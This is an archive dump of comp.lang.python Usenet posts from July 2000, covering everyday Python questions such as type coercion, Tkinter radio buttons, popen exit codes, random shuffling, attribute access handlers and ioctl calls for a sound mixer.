> >
> > Doesn't Perl do this last one as well? I refer you to the example I give
> above -
> 
> Nope; in Perl, 1 + "foo" is 1.

I was probably referring to Perl's string concatenation operator.

> > to have such behaviour permeating one's code is "nasty" to say the least.
> 
> I do consider it impractical, but what's "nasty" about it?

Well, the string concatenation is not so nasty, provided that you want the
number to be encoded in decimal notation within the string, for example. After
all variables, unlike literals, may not contain number base information and so
you might not be able to direct the encoding implicitly. Of course, explicit
method or function calls in Java and Python can also cause the "wrong" encoding
to be used:

  numberVariable.toString();	// Use the java.text package.

  str(numberVariable)		// Use format strings.

> Specifically: in mathematics, there is a natural injection from naturals to
> integers, from integers to rationals, from rationals to reals, from reals to
> complex.  Unfortunately, things are *NOT* all roses and wine in the
> real world, because we don't really have rationals in Pythons (much less
> reals, of course:-), but rather an approximation -- so, precision-loss,
> which is a form of information-loss, threatens...:
> 
> >>> long(12345678901234567890123L*1.0)
> 12345678901234567741440L

Indeed. I do recall noting that some people are irritated by such behaviour.
Also, in the indirectly related area of the string encoding of longs with the
"L" suffix, such results of the str function were once an irritation too,
although I think that issue is to be fixed in 1.6.

> > whereas 1 + "foo" is meaningless to almost everyone except Perl coders.
> 
> No way -- it's perfectly valid in C, too, except that there it means the
> constant-string "oo".  Really, truly, X my heart, I kid you not, check it
> out if you don't believe me (I wouldn't blame you for disbelieving this!).

I did do C before Python, and sometimes write the occasional C program, so I am
aware of this "interesting" possibility. However, I believe that the result of
adding 1 to "foo" is implementation dependent, as Cameron Laird pointed out. (I
don't recall the size constraints on the char type, however.)

Regards,

Paul


From cpr at emsoftware.com  Tue Jul 25 13:10:39 2000
From: cpr at emsoftware.com (Chris Ryland)
Date: Tue, 25 Jul 2000 17:10:39 GMT
Subject: Python & AI
References: <fr8rnskopofu13smscl4rm0b1pacisbikk@4ax.com>
Message-ID: <jSjf5.389$wU2.4263@news>

See http://www.norvig.com/python-lisp.html for a start.
--
Cheers!
/ Chris Ryland, President / Em Software, Inc. / www.emsoftware.com
"rhymes" <rhymes at tiscalinet.it> wrote in message
news:fr8rnskopofu13smscl4rm0b1pacisbikk at 4ax.com...
>
>  Do u know something on the net related to Artificial Intelligence and
> Python Language??
>
> Thanx in advance.
>
> Lawrence Oluyede
>
> rhymes at tiscalinet.it
>
> "Per cambiare,
> per diventare un' altra cosa
> dobbiamo prima sapere cosa siamo"
>
> Bruce Lee




From pete at visionart.com  Mon Jul 17 18:49:02 2000
From: pete at visionart.com (Pete Shinners)
Date: Mon, 17 Jul 2000 15:49:02 -0700
Subject: event handler advice
Message-ID: <8l033n$pr2$1@la-mail4.digilink.net>

i'm trying to write a simple event handler python class.
so far i haven't come up with an 'elegant' solution i was
expecting.

i have a list of different messages, and they are all
given different interger values. this list is defined
in a C extension, for example
msg.INIT, msg.EXIT, msg.STOP, msg.PLAY, ...


i want to make a inheritable class that receives one
of these messages and calls a member routine with the
same name. my handler doesn't know the name of the
variable, since python only sends it the INT value.

so i need to find some nice way to map these message ids
to a method name. i then need to get this name and have
the class call it on itself.

the end result being i can call
"mymessagehandler_inst.handle(msg.PLAY)"
and this will in turn call
"mymessagehandler_inst.PLAY()"

there's a good sized list of these messages, and in the
future it will likely expand

my guess is i need some dictionary that defines the
messages and their routine name (no shortcut way to do
this unless python had #define like macros :])

messages = {msg.INIT:"INIT", msg.PLAY:"PLAY", ...etc}

then a routine like

class basehandler:
    def handle(messageid):
        name = messages[messageid]
        self.name()   #HAHA, no really, how do i do this?

but i'm not exactly sure how to write this. need help, thx





From alex at magenta.com  Mon Jul  3 10:43:00 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 3 Jul 2000 16:43:00 +0200
Subject: Class design: accessing "private" members
References: <962352843.1667731268@news.libertysurf.fr><8jhuvn01vs0@news2.newsguy.com> <4.3.1.2.20000630145109.0201d9e0@phear.dementian.com> <8jplru0lfe@news2.newsguy.com> <962626013.769258863@news.libertysurf.fr>
Message-ID: <8jq90e014sb@news2.newsguy.com>

Jerome Quelin <jerome.quelin at insalien.org> wrote in message
news:962626013.769258863 at news.libertysurf.fr...
> "Alex Martelli" <alex at magenta.com> wrote:
> >These are excellent arguments for always using accessors from OUTSIDE the
> >class.  Jerome, however, was talking about using them from INSIDE the
class
> >as well, which is a different issue.
> Sure, I'm always using accessors from outside.

Bravo.  One day you'll be happy you did.

> But from inside the class, I don't know which is the best. I feel like the
KISS
> rule should apply, but what do you OO gurus think of it ? How far
encapsulation
> should go ?

"Do the simplest thing that could possibly work".  For a class
not meant to be inherited from, that implies accessing the
attributes directly until and unless very specific reasons
emerge such that this "cannot possibly work" any more.  It is
quite unlikely that such reasons will ever emerge, and, if and
when they ever do, then refactoring your program is not going
to be a horribly huge cost to pay.  99+% of the time you will
enjoy the simplicity and the resulting reduction in hassles,
and the price of refactoring is not disproportionate in those
cases where it will be needed.  (The tradeoffs might be
somewhat different in other languages, but dynamic ones
such as Python strongly enable this excellent approach).


Alex





From lordkaos at my-deja.com  Tue Jul 18 20:15:42 2000
From: lordkaos at my-deja.com (lordkaos at my-deja.com)
Date: Wed, 19 Jul 2000 00:15:42 GMT
Subject: newb question
References: <3bRfYe$jTl@openbazaar.net>
Message-ID: <8l2rv1$k2t$1@nnrp1.deja.com>

Is the user inputting whatever variables he wants, or are you presenting
the user with some variables that he assigns values to?

e.g.

>>>yourscript.py
Input var,val pairs, separated by semicolons: cow=milk;pig=pork;red=1
Thank you

(where the user keeps entering any/whatever variables and values they
want,

or like this...)

>>>yourscript.py
Give a value for 'cow':milk
Give a value for 'pig':pork
Give a value for 'red':1
Thank you.

(that's all they get to set values for... whatever cow, pig, red you
specifically program)

Both scenarios are not too hard to implement, but they are different
enough that you should distinguish between what you want to do... This
will help me answer your question.

--Jared

In article <3bRfYe$jTl at openbazaar.net>,
  gee308 at mediaone.net.bbs@openbazaar.net (Toy) wrote:
> Do you need to use classes?  I'm a newb and I'm just writing a
> "read-down"script with one or 2 functions.  What do you mean by
raw_input
> and read() and write()?  Thanks for th help.
> Jason Toy
>
> lordkaos at my-deja.com wrote:
>
> > In article <3973EE1B.15B0B32E at mediaone.net>,
> >   Toy <gee308 at mediaone.net> wrote:
> > > what is a simple way I can save variables that people enter in
from
> > > 'raw_input' ?  That way, someone enters the variables they want,
then
> > > when the script is booted up everytime the machine starts, it will
> > grab
> > > the variables from somewhere.  Thanks.
> > > Jason Toy
> > > toyboy at toy.eyep.net
> > >
> > >
> > The tutorial at <a href="http://www.python.org/current/tut">Python's
> > website</a> tells a simple and easy way to do exactly what you're
> > saying. If you can get the variables into a class (read section 9,
in
> > particular 9.3) then it is easy to read and write a big set of vars
all
> > together in one operation by using the 'pickle' command (read about
> > this and easy file creation/opening in section 7.2). I just read
over
> > this and it should answer your question. Come to think of it,
raw_input
> > stores your input as a string, so you can just read() and write() in
> > one swipe to do the same thing (This would be much easier).
> >
> > --Jared
> >
> > Sent via Deja.com http://www.deja.com/
> > Before


Sent via Deja.com http://www.deja.com/
Before you buy.


From niels at endea.demon.nl  Fri Jul 28 09:21:09 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Fri, 28 Jul 2000 15:21:09 +0200
Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com> <cpzon4jnm6.fsf@cj20424-a.reston1.va.home.com> <uaef4m92z.fsf@ctwd0143.fitlinxx.com> <39802DB6.73CEC178@endea.demon.nl> <uk8e7wj5u.fsf@ctwd0143.fitlinxx.com> <3980ABA5.4190FC4F@endea.demon.nl> <uhf9bvxf1.fsf@ctwd0143.fitlinxx.com>
Message-ID: <398188C5.B630AE23@endea.demon.nl>


David Bolen schreef:

> internally, the close() function has no automatic access to anything
> outside of the file handle - the patch I proposed linked the selected
> (stdin) handle to the original process handle, so a wait and retrieve
> result could be done, but cross-linking all of the files that relate
> to the same process handle, although not impossible, is much more
> effort to ensure correctness.

I had a quick look at the source and as far as I can tell you're doing
something like
    _PyPopenProcs[id(files[0])] = hProcess
when opening, and
    if _PyPopenProcs.has_key(id(file)):
        exit_code = GetExitCodeProcess(_PyPopenProcs[id(file)])
        del _PyOpenProcs[id(file)]
when closing.
Maybe you could change this to something that saves all the file objects
with a reference to the process handle and the number of open pipes,
like:
    procdata = [hProcess, len(files)]
    for f in files:
        _PyPopenProcs[id(f)] = procdata
when opening, and
    procdata = _PyOpenProcs[id(file)]
    procdata[1] = procdata[1] - 1
    if procdata[1] == 0:
        exit_code = GetExitCodeProcess(_PyPopenProcs[id(file)])
    del _PyOpenProcs[id(file)]
when closing

> 
> It would also mean subtlety in terms of knowing for sure if you are
> getting the exit code or not.  If somehow you didn't actually close
> all the file handles you thought you did, you might mistake the
> close() return of 0 on what you thought was the final handle for a
> successful child process exit when you just hadn't happened to close
> all handles yet.

I thought that it would be easy to return None instead of 0, but looking
at the code I realise that is not an option. Pity. Still, looking on the
bright side, you *can* get the exit code this way, if you're careful,
and with this approach I think nothing will work worse than it already
did.

> 
> Hmm - maybe implementing pclose() semantics in a popen#() environment
> (e.g., not the normal plain popen()) isn't practical - I agree that we
> don't want to leave the potential for a deadlocked wait for a child
> process that an application can't protect against.
Well, some way to get at the exit code would certainly be useful, even
if it's not the easiest one imaginable.

> 
> Does anyone know if the higher order popen# calls part of Posix?  Does
> it have defined behavior for retrieving exit codes in such a case?

Posix has only popen. The others are Python-specific. The only
"standard" is probably popen2.py. To get an exit code there you have to
instantiate the Popen3 class explicitly, not through the popen2() and
popen3() helper functions. Then you can call its .wait() method.
Unfortunately win32pipe has no such object.

By the way, wouldn't it be easier to implement all this stuff in Python,
except for the basic Win32 functions? That is the way it is done on
Unix. Surely speed is not an issue. CreateProcess is horribly expensive
anyway.

-- 
Niels Diepeveen
Endea automatisering



From pinard at iro.umontreal.ca  Mon Jul 31 16:06:54 2000
From: pinard at iro.umontreal.ca (=?ISO-8859-1?Q?Fran=E7ois_Pinard?=)
Date: 31 Jul 2000 16:06:54 -0400
Subject: random.shuffle?
In-Reply-To: Erik Max Francis's message of "Mon, 31 Jul 2000 11:37:19 -0700"
References: <slrn8ob14m.bh4.ahopkins@ahopkins.dynacare.com>
	<oqittmuxgj.fsf@titan.progiciels-bpi.ca>
	<3985C75F.7030AB6C@alcyone.com>
Message-ID: <oqd7juukrl.fsf@titan.progiciels-bpi.ca>

[Erik Max Francis]

> Fran?ois Pinard wrote:

> > def shuffle(items):
> >     """Shuffle ITEMS in place.  ITEMS should normally be a list."""
> >     for top in range(len(items)-1, 0, -1):
> >         index = whrandom.randint(0, top)
> >         items[index], items[top] = items[top], items[index]

> This is a biased shuffling algorithm.  When swapping cards, you'd want
> to pick the other card from the whole of the deck, not the deck that
> you've touched so far.  If you start with a sorted deck, for instance,
> it's easy to see that cards can't end up in every place; see Knuth.

"See Knuth" is rather vague.  It reads like "Go fishing!".  It would be
more polite giving some precise reference of what you want me to look at.
You also write: "It's easy to see that cards can't end up in every place;".
I may be stubborn and opaque, but I do not see it.  Please kindly explain.

My feeling is that the algorithm above corresponds to what is being written
in the Art of Computer Programming, volume II, section 3.4.2, algorithm P.
My transcription may be wrong, of course, but then, please tell me where.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From mark.w.daley at intel.com  Fri Jul 28 11:53:13 2000
From: mark.w.daley at intel.com (Daley, Mark W)
Date: Fri, 28 Jul 2000 08:53:13 -0700
Subject: Values and variables for Tk radio buttons
Message-ID: <75F7304BB41CD411B06600A0C98414FCB36827@ORSMSX54>

I am trying to struggle through the design of a GUI using Tkinter.  I'm not
doing to bad, for a beginner, but I am having a problem retrieving the
values assigned by selecting a certain button.  Here is the code I wrote
(forgive the crudity, I'm not savvy with classes yet!):

from Tkinter import *
import dbi, odbc
import time, os, sys

servername = ['Server1', 'Server2', 'Server3']
name = (('None', 'None'), ('name1', 'Name1'), ('name2', 'Name2'), ('name3',
'Name3'))

def die():
	sys.exit()


root = Tk()
root.title("Test GUI")
servar = StringVar()
namevar = StringVar()


for item in range(len(servername)):
	b1 = Radiobutton(root, text = servername[item], variable = servar,
value = servername[item])
	b1.grid(row = item, column = 0, sticky=W)


for index in range(len(name)):
	b2 = Radiobutton(root, text = name[index][1], variable = namevar,
value = name[index][1])
	b2.grid(row = index, column = 1, sticky=W)

	
q = Button(root, text = 'Quit', command = die, width = 10)
q.grid(row = 13, column = 0, sticky = W)


root.mainloop()


This gives me two columns of radio buttons (the name tuple is longer, and
contrived since I usually get the values from a database).  I have no idea
how to get the values from the buttons.  Should I be doing something other
than StringVar() for servar and namevar?

- Mark
----------------------------------------------
The opinions expressed are mine, and are not necessarily those of my
employer.





From Richard.Jones at fulcrum.com.au  Fri Jul 28 00:23:07 2000
From: Richard.Jones at fulcrum.com.au (Richard Jones)
Date: Fri, 28 Jul 2000 14:23:07 +1000
Subject: Perl is worse! (was: Python is Wierd!) 
In-Reply-To: Message from Richard Jones of 2000-Jul-28 14:16:1,
            <200007280416.OAA31003@envy.fulcrum.com.au> 
Message-ID: <200007280423.OAA31058@envy.fulcrum.com.au>

[Richard Jones]
>    Eh? You're comparing the assignment operation - the placing of a label on 
> an 
> object - with the automagical creation of an object? How is:
> 
>    a = 1
> 
>  ... the same as
> 
>    $a = undef;
>    $a->{foo} = 1;

   ... or different.

  My apologies for not putting forward a reasonable argument here. I'm going to 
leave you all alone now. Better examples would've been nice - but Real Work 
intervenes.


     Richard





From neilh at scintilla.org  Mon Jul 10 23:56:25 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Tue, 11 Jul 2000 03:56:25 GMT
Subject: Can anyone hear me? (was Solution to IDLE and Tkinter proble
References: <200007110344.UAA23990@stevie.loop.com>
Message-ID: <JVwa5.13330$Tb7.89585@news-server.bigpond.net.au>

> Sourry for the stupid question, but: Which path?  Is it the
> Pythonpath, the Windows path, the dos config.sys path, or some other
> path?  Thank you for a reply anyway.

   The path environment variable, which may be set in a DOS initialisation
file - normally in autoexec.bat. Maybe it can be set in config.sys now. It
is then used by Windows. Open a DOS box and type "set" which should reveal
all your environment variables.

   Neil




From tim_one at email.msn.com  Thu Jul 27 13:41:10 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Thu, 27 Jul 2000 13:41:10 -0400
Subject: Python 3000
In-Reply-To: <8lp4t5$6bu$1@newshost.accu.uu.nl>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEGGGMAA.tim_one@email.msn.com>

[/F]
> according to plans, 1.6 beta 1 will be released in
> about a week.  for more info, see PEP-160:
>
>    http://python.sourceforge.net/peps/pep-0160.html

[Martijn Faassen]>
> What a mess. So that was why I didn't watch soap operas. :)
>
> It'd be useful for the community if there were some document out there
> that described what the heck is going on, and why.

That would be useful for me too <0.3 wink>.

> Once all of this becomes a bit more clear for the parties
> involved, that is.
>
> It keeps changing and it makes people worried. At least it makes me
> worried.

What can we do about that?  In the short term it *is* a mess.  While all the
parties are negotiating, everything is subject to change, so if we say
anything we're open to (valid!) "it keeps changing" charges, but if we say
nothing, wild speculation fills the void.  To my mind it compounds the
uncertainties that CNRI says nothing in public.  I think BeOpen PythonLabs
has done everything it *can* do in the way of communicating what's going on,
and if you want more than that then raising your concerns on c.l.py simply
isn't going to help (AFAIK, CNRI doesn't monitor this newsgroup, so won't
hear your concerns).

still-speaking-for-nobody-but-me-ly y'rs  - tim





From rloisel at helicon.net  Sun Jul 23 20:50:27 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Sun, 23 Jul 2000 20:50:27 -0400
Subject: my difficulty with Python was: IDLE window closes
Message-ID: <397B92D3.80DB7160@helicon.net>

The _Tkinter.pyd is already in the python\dll
import Tkiner returns something like "if import Tkinter fails the Python may
not be configured
for Tk
DLL load failed...
So why wouldn't Python 1.5.2 be configured for Tk if it seems to depend on
it for
most activities. I got the distribution from the Python web page and used
the install
program. All I can do is ' run Python'  or use the start menu icon  and get
the generic
window with the >>> prompt. Not very useful.
rloisel

Sam Schulenburg wrote:

> Usually the problem is IDLE can not find the Tk dll's. My solution has
> been to copy the Dll's from the Tk\bin directory to the Python\DLL
> directory.
>
> Sam Schulenburg
>
> In article <rcIe5.9147$Gh.74143 at news20.bellglobal.com>,
>   "Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote:
> > The Python binary might be in your path, but maybe the libraries
> aren't?
> >
> > --
> > ----------------------------------------------------------------------
> > Olivier A. Dagenais - Carleton University - Computer Science III
> >
> > "Rodney Loisel" <rloisel at helicon.net> wrote in message
> > news:397B0D93.6A5EE7CB at helicon.net...
> > > Changed the DOS properties not to close on exit
> > > the following is the result of
> > > import Tkinter
> > > several levels of error
> > > last:
> > > DLL load failed: one of the library files
> > > needed to run this application cannot be
> > > found.
> > > rloisel
> > >
> >
> >
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.



From jvickroy at sec.noaa.gov  Fri Jul 21 10:07:48 2000
From: jvickroy at sec.noaa.gov (j vickroy)
Date: Fri, 21 Jul 2000 08:07:48 -0600
Subject: Closing a file
References: <8l7lm7$kkb$1@news6.svr.pol.co.uk>
Message-ID: <39785934.FD37DFD8@sec.noaa.gov>

Hello Duncan,

Unless I'm missing something here, the file will not be closed by this method
(function) if n <=900000.  If the file is not closed elsewhere in the code, it
will only be closed (by Python) when the interpreter exits as part of its
cleanup.

Duncan Smith wrote:

> I am attempting to write data to a file so I can export it to another
> application after running a simulated annealing algorithm.  (self.cost == 0
> on the first iteration only.)  The relevant code is below.  The file seems
> to be created and written to O.K., bit it's not closed and I can't access
> 'simresults.txt' without shutting down Python.  I've checked the FAQ etc.
> but I'm no computer scientist and I can't figure out where I'm going wrong.
> Thanks in advance for any help.
>
> from Numeric import *
> from Set import *
> from RandomArray import *
> import sys
>
>     def acceptsim(self, cost, n):
>         t = 10000.0 / n
>         if self.cost == 0:
>             outputfile = open('simresults.txt', 'w')
>             sys.stdout = outputfile
>             self.cost = DJT.totalcost(self)
>             self.low_cost = self.cost
>             self.low_ordering = self.ordering[:]
>         if n > 900000:
>             outputfile.close()
>             return 'stop'
>         if cost > 0:
>             p = exp ((-1 / t) * (float(cost) / self.cost))
>             if random() > p:
>                 print self.cost
>                 return 0
>             else:
>                 self.cost = self.cost + cost
>                 print self.cost
>                 return 1
>         else:
>             self.cost = self.cost + cost
>             if self.cost < self.low_cost:
>                 self.low_cost = self.cost
>                 self.low_ordering = self.ordering[:]
>             print self.cost
>             return 1



From kain at cableadmin.com  Fri Jul 21 08:06:00 2000
From: kain at cableadmin.com (Scott)
Date: Fri, 21 Jul 2000 12:06:00 GMT
Subject: MySQL on Win9X
Message-ID: <slrn8ngf36.f1p.kain@cableadmin.com>

Hello,

Are there any pre-compiled MySQL modules for windows?  I've found the 
sources but don't have nor can I install a compiler on this machine.

Thanks,
Scott


-------------------------------------------------------------------------------
"That's a deer shooting hat."
"Like hell it is.  This is a people shooting hat.  I shoot people in this hat."



From gmcm at hypernet.com  Sat Jul 22 11:35:43 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 22 Jul 2000 15:35:43 GMT
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com>
Message-ID: <8F797551Agmcmhypernetcom@199.171.54.194>

Bjorn Pettersen wrote: 

>Paul Prescod wrote:

>> Actually, I'm not sure if my proposal would help here. Appending to a
>> cStringIO is not an assignment operation...
>
>The only requirement was that the attribute access (myObject.property)
>stay the same, only instead of returning a string it would compute
>.value() on the cStringIO object. I.e., original:
>
>  class MyObject:
>    def __init__(self,s):
>      self.s = s
>
>new version:
>
>  class MyObject:
>    def __init__(self,s):
>      self._s = cStringIO.StringIO(s)
>    def __getattr__(self, a):
>      if a == 's':
>        return self.__dict__['_s'].value()
>      else:
>        return self.__dict__[a]

Umm, that should be:
  def __getattr__(self, a):
    if a == 's':
       return self._s.value()
    raise AttributeError, a

(__getattr__ is last resort - not called if the attribute is found.)


>> > Perhaps you should add a few words about why you chose __attr_XXX__
>> > instead of __set/get/del_XXX__?
>> 
>> That was actually the first proposal. But inheritance could get
>> confusing if you inherited set without get or get without set etc.
>
>Hmmm... I'm not quite sure I understand... 

Of course you don't! Because Paul forgot to tell you that the first 
proposal said that defining one or more of __set/get/del_XXX__ 
automatically defines all 3, with default behavior of "you can't do that". 
So a base class defining __get_X__ and a derived class defining __set_X__ 
will have the wrong semantics 50% of the time whichever way you choose to 
handle it.

>With __set/get/del_XXX__
>defined in a superclass you would automatically inherit all of them and
>could choose to only override one of them, e.g. if you wanted to perform
>further checks on a set but the get was the same.  With __attr_XXX__ you
>would have to explicitly call the superclass' __attr_XXX__ method if you
>didn't define all of set/get/del(?)  I have a feeling I'm missing
>something...

The current implementation has one generalized "access handler" for each 
type of access (get/set/del). For set/del, the handler is always called, 
meaning you have to write the class (and derived classes) with this in 
mind.

Both versions of this proposal work by installing an "access handler" for 
an attribute. In the first, the fact that there was one "access handler" 
was completely implicit - it looked like there were 3. So it would be 
ambiguous whether the author of an override knew what they were doing 
(overriding the "access handler"), or being naive (attempting to override 
just one method of the "access handler").

In the current version, it's pretty obvious that you are overriding the 
one-and-only "access handler". But since the handler has the name of the 
attribute, chaining to a base class implementation means we need the 
handler also available under a different name.

-Gordon


From ngps at post1.com  Sun Jul 30 11:19:41 2000
From: ngps at post1.com (Ng Pheng Siong)
Date: Sun, 30 Jul 2000 23:19:41 +0800
Subject: bug in M2Crypto.urllib2 ..
In-Reply-To: <Pine.BSF.4.10.10007280910170.16089-100000@chi.pair.com>; from sabren@manifestation.com on Fri, Jul 28, 2000 at 09:28:53AM -0400
References: <Pine.BSF.4.10.10007280910170.16089-100000@chi.pair.com>
Message-ID: <20000730231941.A295@madcap.dyndns.org>

On Fri, Jul 28, 2000 at 09:28:53AM -0400, Michal Wallace wrote:
> I've been using the excellent M2Crypto package for its HTTPS
> support, and I've discovered a small bug that I'm trying to
> track down.

/tmp:$ cat py
#!/usr/local/bin/python

import M2Crypto.urllib2

url = 'https://secure.authorize.net/gateway/transact.dll'

page = M2Crypto.urllib2.urlopen(url)
print page.headers
print '-' * 50
print page.read()
print '-' * 50

/tmp:$ python py
Server: Microsoft-IIS/4.0
Date: Sun, 30 Jul 2000 15:18:26 GMT
Content-Type: text/html
Content-Length: 42
Content:

--------------------------------------------------
Invalid Merchant Login or Account Inactive
--------------------------------------------------
/tmp:$



-- 
Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps




From olivierS.dagenaisP at canadaA.comM  Tue Jul 11 23:03:43 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 12 Jul 2000 03:03:43 GMT
Subject: redirect output of functions to a string or file
References: <LBpa5.563$iT2.6319@m2newsread.uni2.es>
Message-ID: <jeRa5.87991$HK2.1577360@news20.bellglobal.com>

Sounds like you're looking for some tracing functionality to help you debug?

I don't think you would want ALL functions to display their output to a
file, since you may find that file grows really, really quick!

You may just want to add a "print" at the end of functions that you want to
debug, or use some class that doesn't do anything in "retail" mode, but in
"debug" mode, will print all output in a window or out to a file....

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Fernando Rodr?guez" <frr at mindless.com> wrote in message
news:LBpa5.563$iT2.6319 at m2newsread.uni2.es...
> Hi!
>
>     I have several functions that return strings.  The output of these
> functions must be combined and saved into a file.
>
>     Is there a way to tell Python to "automagically" redirect the output
> of _all_ functions to a string or file? O:-)
>
> TIA
> ---------------------------------------
> Fernando Rodr?guez
>
>




From root at rainerdeyke.com  Mon Jul 31 23:00:18 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Tue, 01 Aug 2000 03:00:18 GMT
Subject: to close or not to close?
References: <8m4s6i$2sdk@drn.newsguy.com> <20000801010533.P266@xs4all.nl> <oq7la1u9k4.fsf@titan.progiciels-bpi.ca>
Message-ID: <63rh5.54100$6y5.36325446@news2.rdc2.tx.home.com>

"Fran?ois Pinard" <pinard at iro.umontreal.ca> wrote in message
news:oq7la1u9k4.fsf at titan.progiciels-bpi.ca...
> I came to consider it is a better form to _not_ close explicitely.  Cases
> where explicit close is really useful are rather unusual, in my
experience.
> In which cases, an explicit `close' gets more meaningful, and less noisy.
> And even then, I much prefer `file = None' than `close(file)', because the
> former really represents my intent: I promise I will not use `file'
anymore.
> I like to think that closing a file is a system concern, not a user
concern.

Why not 'del file'?  This should catch attempts to use 'file' earlier, and
should be more memory efficient.


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From paul at prescod.net  Thu Jul 20 15:37:23 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 20 Jul 2000 14:37:23 -0500
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l6qt4$89p$1@fermi.tro.net> <8l74db$hs6$1@newshost.accu.uu.nl> <8l7f69$bon$1@fermi.tro.net>
Message-ID: <397754F3.8F730CBB@prescod.net>

Moritz Voss wrote:
> 
> Maybe I don't get the python concept. Do you link it statically? 

Yes, you link the interpreter statically and then you can pass it
strings of code to execute or arrays of already-computed byte-code.

> Now, my own language would be an assembler-style thing. The concept is as
> follows - every instruction corresponds to an index. Each of these indices,
> after compilation, are then translated, during runtime, into direct function
> addresses. So what I have is my program that consists of a huge bunch
> pointers to C functions (which can have any level of complexity). These
> would just be loaded, and called, loaded, and called. I'm not going into the
> depths of this here but passing parameters and references is not a problem.

You're going to write AI in this language? What about conditionals?
Control flow? Modularity? Exception handling? Data types?

Maybe you really need two levels of language. There is your simple
unsafe, internal-use byte-code and the player's user-level AI logic.

> I'll play around with python, but I found the way to embed it totally
> confusing. (That is, of course, because I have never worked with embedded
> languages yet). Also, I find no tutorial that clearly tells me how to change
> my C variable "X" from within my Python program "Y" that is invoked by the C
> Program.

Well Python can't directly write to pointers, which is good for you
because you want to enforce "proper" behavior (no flying through walls,
etc.) So you should start thinking a little more OO for the user-level
scripting. Let's say a handler is a function with the following
signature:

def handleAction( me, what_happened, current_time ):
	if what_happened=="hit":
 		me.shields.invoke()
		me.weapon.raise()
		me.weapon.fire()

Now each of these properties is attached to the "me" object in your C
code and each of the methods is attached to the shields and weapon
objects by the same code. The methods are *c code*. You get a callback
and update your object's internal state.
-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From hei at adtranzsig.de  Thu Jul 20 06:20:41 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Thu, 20 Jul 2000 12:20:41 +0200
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <8l6cbp$fgr$1@pollux.ip-plus.net>
Message-ID: <8l6ju6$5bq$1@desig-bs01-s04.adtranzsig.de>

"J?rgen Hermann" <jhe at webde-ag.de> schrieb im Newsbeitrag
news:8l6cbp$fgr$1 at pollux.ip-plus.net...> merge() is the best yet, since it's
a common (programming) term with a
> well-defined meaning. Don't forget EnglishAsA2nd speakers, which won't
know
> what "braid" is all about, but are likely to know merge.

Ah come on. As soon as some important american programming language
has a keyword "parrot", people around the globe will learn that term as
well.
(When i used VMS i used to know what "purge" is.)

What's the silliest keyword you ever encountered in a programming language?
I vote for "rof". (short for Rolling-On-Floor, i think in ALGOL68.)
--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net




From cnd at ecn.purdue.edu  Thu Jul 27 00:03:53 2000
From: cnd at ecn.purdue.edu (Christopher N. Deckard)
Date: Wed, 26 Jul 2000 23:03:53 -0500
Subject: ioctl IOError
Message-ID: <397FB4A9.EABD99C2@ecn.purdue.edu>

In my quest to learn Python, more about C, and learn syscalls, I decided
to port a C program to Python.  The program is called pcfm and it's used
to talk to the GemTek serial radio tuner (AM/FM).  Why use something
that works, when I can rewrite it in another language right?

So, I've got the serial port part working, now I'm trying to get the
sound mixer stuff to work, and I'm running into problems.  

Here are the thingers in C which use ioctl.  The first, setvolume, is
used to set the volume of the mixer.  The second fetches the current
volume setting.

Also, from soundcard.h, we have:
SOUND_MIXER_READ_LINE = 0x80044D06
SOUND_MIXER_WRITE_LINE = 0xC0044D06
(you can also get these under Linux by doing 'man 2 ioctl_list')

void setvolume(int fd, int value) {
  value = (value<<8)|value;
  if (ioctl(fd, SOUND_MIXER_WRITE_LINE, &value)<0) perror("ioctl
write");
}

int getvolume(int fd) {
  int value;
  if (ioctl(fd, SOUND_MIXER_READ_LINE, &value)<0) perror("ioctl read");
  return ( ((value&0xff)+(value>>8)) /2 );
}

So, I basically need these functions in python.  So I've got a class
called mixer which has the file descriptor (fd), and then these
functions:

def setvolume(self, value):
	value = (value << 8) | value
	fnctl.ioctl(self.fd, SOUND_MIXER_WRITE_LINE, value)

def getvolume(self):
	value = 0
	fnctl.ioctl(self.fd, SOUND_MIXER_READ_LINE, value)
	return (((value & 0xff) + (value >> 8)) / 2)

When I simply call the 'getvolume' function, I get:
IOError: (14, 'Bad address')


What is going on?  How do I fix it?  I'd like to leave these in Python,
but it is my understanding that I could create a C object and link them
in somehow?  How is that done?

Thanks for the help.  Please email me as well as reply to the newsgroup.
-Chris

-- 
----------------------------------------------------------------------
    Christopher N. Deckard      |        Lead Web Technician
